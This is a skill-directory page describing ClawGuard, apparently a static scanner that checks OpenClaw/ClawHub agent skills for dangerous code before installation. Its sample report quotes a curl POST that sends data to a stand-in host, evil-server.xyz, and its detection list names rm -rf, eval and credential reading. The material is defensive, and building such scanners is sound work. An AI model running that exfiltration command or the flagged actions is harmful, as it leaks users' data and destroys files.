搜索

PythonReactSEOPDF
OpenClaw

clawguard

Security scanner for ClawHub skills. Analyze before you install.

chloepark850 来源安装数☆ 0 仓库 Stars

安装与使用

请根据来源仓库和你的 AI 工具说明安装此技能。先阅读技能文件和依赖要求,再添加到工作流。

SkillHub CLI

skillhub install chloepark85/skill-guard-pro

打开来源仓库,查看说明和兼容环境后,按来源提供的命令或步骤安装。

将来源链接提供给你的 Agent,让它先读取说明、核对依赖,并向你说明将执行的安装步骤。

查看来源 ↗使用指南

技能说明

ClawGuard 🛡️

Scan ClawHub skills for security risks before installing.

ClawGuard performs static code analysis on ClawHub skills to detect:

  • 🌐 Network exfiltration (HTTP POST to external URLs)
  • 🔑 Credential access (API keys, tokens, passwords)
  • ⚡ Shell command execution
  • 💥 File destruction (rm -rf, unlink)
  • 🎭 Code obfuscation (eval, base64 decode)
  • 👻 Hidden files and directories

Usage

Scan by skill name

Download and scan a skill from ClawHub:

uv run {baseDir}/scripts/scan.py --skill <skill-name>
Scan local directory

Scan a skill directory on your local filesystem:

uv run {baseDir}/scripts/scan.py --path /path/to/skill
JSON output

Get results in JSON format:

uv run {baseDir}/scripts/scan.py --skill <skill-name> --json

Examples

Scan the GitHub skill:

uv run {baseDir}/scripts/scan.py --skill github

Scan a local skill:

uv run {baseDir}/scripts/scan.py --path ~/.openclaw/skills/my-skill

Risk Levels

  • 🟢 SAFE (0-30): No significant risks detected
  • 🟡 CAUTION (31-60): Review flagged items before installing
  • 🔴 DANGEROUS (61-100): High-risk patterns detected — DO NOT INSTALL

Exit Codes

  • 0: Safe
  • 1: Caution
  • 2: Dangerous

Requirements

  • Python 3.11+
  • uv (Python package manager)
  • clawhub CLI (optional, for downloading skills)

How It Works

  1. Pattern Matching: Regex-based detection of dangerous code patterns
  2. AST Analysis: Python AST parsing for eval/exec detection
  3. URL Extraction: Identifies all network endpoints
  4. Risk Scoring: Weighted severity scoring (0-100)

What It Detects

Category Weight Examples
Network exfiltration 25 POST to unknown URL with data
Credential access 20 Reading API keys, tokens
Shell execution 15 exec(), subprocess, system()
File destruction 15 rm -rf, unlink, rmdir
Obfuscation 15 eval(), atob(), Buff...

来源信息

Source
github
Repository
openclaw/skills
Path
skills/chloepark85/skill-guard-pro
Version
—
Commit
31f6ad3ebce2949fc60488e4ec5f14c74238e0e6
分类来源
rules
状态
active
可见性
public

这些信息来自收录时的来源分析,可能滞后;使用前请核对最新来源文件。

README

ClawGuard 🛡️

Security scanner for ClawHub skills. Analyze before you install.

ClawGuard performs static code analysis on OpenClaw/ClawHub skills to detect dangerous patterns before you install them. It checks for network exfiltration, credential theft, shell execution, file destruction, code obfuscation, and more.

Features

  • 🌐 Network exfiltration detection — HTTP POST to external URLs
  • 🔑 Credential access detection — API keys, tokens, passwords
  • ⚡ Shell execution detection — exec(), subprocess, system()
  • 💥 File destruction detection — rm -rf, unlink, rmdir
  • 🎭 Obfuscation detection — eval(), base64 decode
  • 👻 Hidden file detection — Dotfiles, hidden directories
  • 📊 Risk scoring — 0-100 weighted severity score
  • 🌐 URL extraction — Lists all network endpoints with safety check

Installation

As an OpenClaw skill
# Install from ClawHub (coming soon)
clawhub install clawguard

# Or install locally
clawhub install --path /path/to/clawguard
Standalone
# Clone repository
git clone https://github.com/ubik-collective/clawguard.git
cd clawguard

# Ensure uv is installed
pip install uv

# Run directly
uv run scripts/scan.py --help

Usage

Scan a skill from ClawHub
uv run scripts/scan.py --skill <skill-name>

Example:

uv run scripts/scan.py --skill github
Scan a local directory
uv run scripts/scan.py --path /path/to/skill

Example:

uv run scripts/scan.py --path ~/.openclaw/skills/my-skill
JSON output
uv run scripts/scan.py --skill <skill-name> --json

Output Example

🛡️  ClawGuard Security Report
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Skill: example-skill
Score: 72/100 🔴 DANGEROUS
Files scanned: 15
Lines scanned: 2341

⚠️  Issues Found (5):

1. [HIGH] scripts/run.sh:14 — curl command to external URL
   Code: curl -X POST https://evil-server.xyz/collect -d "$DATA"

2. [HIGH] lib/helper.j...

来源内容

SKILL.md
# ClawGuard 🛡️

**Scan ClawHub skills for security risks before installing.**

ClawGuard performs static code analysis on ClawHub skills to detect:
- 🌐 Network exfiltration (HTTP POST to external URLs)
- 🔑 Credential access (API keys, tokens, passwords)
- ⚡ Shell command execution
- 💥 File destruction (rm -rf, unlink)
- 🎭 Code obfuscation (eval, base64 decode)
- 👻 Hidden files and directories

## Usage

### Scan by skill name
Download and scan a skill from ClawHub:
```bash
uv run {baseDir}/scripts/scan.py --skill <skill-name>
```

### Scan local directory
Scan a skill directory on your local filesystem:
```bash
uv run {baseDir}/scripts/scan.py --path /path/to/skill
```

### JSON output
Get results in JSON format:
```bash
uv run {baseDir}/scripts/scan.py --skill <skill-name> --json
```

## Examples

Scan the GitHub skill:
```bash
uv run {baseDir}/scripts/scan.py --skill github
```

Scan a local skill:
```bash
uv run {baseDir}/scripts/scan.py --path ~/.openclaw/skills/my-skill
```

## Risk Levels

- 🟢 **SAFE** (0-30): No significant risks detected
- 🟡 **CAUTION** (31-60): Review flagged items before installing
- 🔴 **DANGEROUS** (61-100): High-risk patterns detected — DO NOT INSTALL

## Exit Codes

- `0`: Safe
- `1`: Caution
- `2`: Dangerous

## Requirements

- Python 3.11+
- `uv` (Python package manager)
- `clawhub` CLI (optional, for downloading skills)

## How It Works

1. **Pattern Matching**: Regex-based detection of dangerous code patterns
2. **AST Analysis**: Python AST parsing for eval/exec detection
3. **URL Extraction**: Identifies all network endpoints
4. **Risk Scoring**: Weighted severity scoring (0-100)

## What It Detects

| Category | Weight | Examples |
|----------|--------|---------|
| Network exfiltration | 25 | POST to unknown URL with data |
| Credential access | 20 | Reading API keys, tokens |
| Shell execution | 15 | exec(), subprocess, system() |
| File destruction | 15 | rm -rf, unlink, rmdir |
| Obfuscation | 15 | eval(), atob(), Buff...
README
# ClawGuard 🛡️

**Security scanner for ClawHub skills. Analyze before you install.**

ClawGuard performs static code analysis on OpenClaw/ClawHub skills to detect dangerous patterns before you install them. It checks for network exfiltration, credential theft, shell execution, file destruction, code obfuscation, and more.

## Features

- 🌐 **Network exfiltration detection** — HTTP POST to external URLs
- 🔑 **Credential access detection** — API keys, tokens, passwords
- ⚡ **Shell execution detection** — exec(), subprocess, system()
- 💥 **File destruction detection** — rm -rf, unlink, rmdir
- 🎭 **Obfuscation detection** — eval(), base64 decode
- 👻 **Hidden file detection** — Dotfiles, hidden directories
- 📊 **Risk scoring** — 0-100 weighted severity score
- 🌐 **URL extraction** — Lists all network endpoints with safety check

## Installation

### As an OpenClaw skill

```bash
# Install from ClawHub (coming soon)
clawhub install clawguard

# Or install locally
clawhub install --path /path/to/clawguard
```

### Standalone

```bash
# Clone repository
git clone https://github.com/ubik-collective/clawguard.git
cd clawguard

# Ensure uv is installed
pip install uv

# Run directly
uv run scripts/scan.py --help
```

## Usage

### Scan a skill from ClawHub

```bash
uv run scripts/scan.py --skill <skill-name>
```

Example:
```bash
uv run scripts/scan.py --skill github
```

### Scan a local directory

```bash
uv run scripts/scan.py --path /path/to/skill
```

Example:
```bash
uv run scripts/scan.py --path ~/.openclaw/skills/my-skill
```

### JSON output

```bash
uv run scripts/scan.py --skill <skill-name> --json
```

## Output Example

```
🛡️  ClawGuard Security Report
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Skill: example-skill
Score: 72/100 🔴 DANGEROUS
Files scanned: 15
Lines scanned: 2341

⚠️  Issues Found (5):

1. [HIGH] scripts/run.sh:14 — curl command to external URL
   Code: curl -X POST https://evil-server.xyz/collect -d "$DATA"

2. [HIGH] lib/helper.j...

相关技能

OpenClaw

bambu-studio-ai

heyixuan2

Bambu Lab 3D printer control and automation. Activate when user mentions: printer status, 3D printing, slice, analyze model, generate 3D, AMS filament, print monitor, Bambu Lab, or any 3D printing task. Full pi...

OpenClaw

geo-optimization

capt-marbles

Generative Engine Optimization (GEO) for AI search visibility. Optimize content to appear in ChatGPT, Perplexity, Claude, and Google AI Overviews. Use when optimizing websites, pages, or content for LLM discove...

OpenClaw

0protocol

0isone

Agents can sign plugins, rotate credentials without losing identity, and publicly attest to behavior.